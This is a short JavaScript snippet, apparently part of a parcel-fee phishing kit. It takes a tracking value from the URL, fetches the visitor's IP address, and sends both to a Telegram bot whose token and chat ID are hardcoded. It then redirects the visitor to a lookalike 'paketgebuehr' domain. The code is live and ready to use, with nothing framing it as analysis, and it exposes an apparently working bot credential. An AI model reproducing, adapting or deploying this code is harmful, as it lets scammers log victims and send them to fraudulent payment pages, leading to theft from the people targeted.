const params = new URLSearchParams(window.location.search); const track = params.get("track"); if (track) { const botToken = "8095778623:AAFmLSGaFNHtDxgqhdbnsKM9Aj7TwcyPa4o"; // Replace with your Telegram bot token const chatId = "-4988390886"; // Replace with your Telegram chat ID fetch("https://api.ipify.org?format=json") .then(response => response.json()) .then(data => { const userIP = data.ip; const message = `šŸ“¦ Tracking "${track}" opened\nšŸŒ IP: ${userIP}`; return fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: chatId, text: message }) }); }) .catch(err => console.error("IP or Telegram error:", err)) .finally(() => { const redirectUrl = `https://paketgebuehr.com.de/?track=${encodeURIComponent(track)}`; setTimeout(() => { window.location.href = redirectUrl; }, 1000); }); }